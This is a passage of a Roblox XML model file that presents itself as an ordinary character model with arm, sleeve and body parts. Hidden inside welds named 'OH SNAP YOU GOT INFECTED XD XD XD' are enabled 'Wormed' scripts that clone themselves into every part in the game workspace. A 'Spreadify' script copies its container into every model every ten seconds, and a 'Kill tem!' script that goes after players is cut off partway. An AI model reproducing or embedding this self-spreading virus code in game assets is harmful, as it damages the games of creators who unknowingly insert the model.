							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX463">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Arm2</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX464">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">w35uvc2q</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX465">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>80.444397</X>
							<Y>3.53456402</Y>
							<Z>16.4999847</Z>
							<R00>0.831464052</R00>
							<R01>-0.555566609</R01>
							<R02>4.58496305e-012</R02>
							<R10>0.555567086</R10>
							<R11>0.831463993</R11>
							<R12>-5.0221164e-012</R12>
							<R20>-3.45805688e-006</R20>
							<R21>1.34245886e-006</R21>
							<R22>0.999999762</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX466">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>2.5</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX467">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX468">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX469">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX470">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX471">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX472">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">125</int>
						<CoordinateFrame name="CFrame">
							<X>79.9999466</X>
							<Y>4.19976425</Y>
							<Z>16.4999847</Z>
							<R00>-0.831469357</R00>
							<R01>0.555570602</R01>
							<R02>3.62112314e-006</R02>
							<R10>-0.555570602</R10>
							<R11>-0.831469357</R11>
							<R12>8.04985063e-007</R12>
							<R20>3.45807894e-006</R20>
							<R21>-1.34246909e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX473">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.699999988</X>
								<Y>3</Y>
								<Z>1.29999995</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX474">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX475">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX476">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX477">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX478">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX479">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>80.222168</X>
							<Y>3.86714649</Y>
							<Z>16.4999847</Z>
							<R00>0.831464052</R00>
							<R01>-0.555566609</R01>
							<R02>4.58496305e-012</R02>
							<R10>0.555567086</R10>
							<R11>0.831463993</R11>
							<R12>-5.0221164e-012</R12>
							<R20>-3.45805688e-006</R20>
							<R21>1.34245886e-006</R21>
							<R22>0.999999762</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Sleve</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX480">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1.5</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX481">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX482">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX483">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX484">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX485">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX486">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>80.499939</X>
							<Y>3.99976635</Y>
							<Z>16.5091095</Z>
							<R00>1</R00>
							<R01>-3.9898697e-007</R01>
							<R02>3.62112019e-006</R02>
							<R10>3.989839e-007</R10>
							<R11>1</R11>
							<R12>8.39218046e-007</R12>
							<R20>-3.62112041e-006</R20>
							<R21>-8.39216625e-007</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX487">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX488">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2846wgwjj</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX489">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">i1n5e0</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX490">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX491">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX492">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX493">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX494">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX495">
					<Properties>
						<string name="Name">OHAI</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX496">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Controls</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX497">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Spreadify</string>
								<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX498">
					<Properties>
						<string name="Name">No samurai plzzz</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX499">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Deth 2 teh samurai!</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX500">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Kill tem!</string>
								<string name="Source">function noHelmet(chr)

	local s = script.NoHelmet:clone()
	s.Disabled = false
	s.Parent = chr
	
end

function checkHelmets()
	local p = game.Players:GetPlayers()

	for i=1,#p do
		local c = p[i].Character
		if (c ~= nil) then 
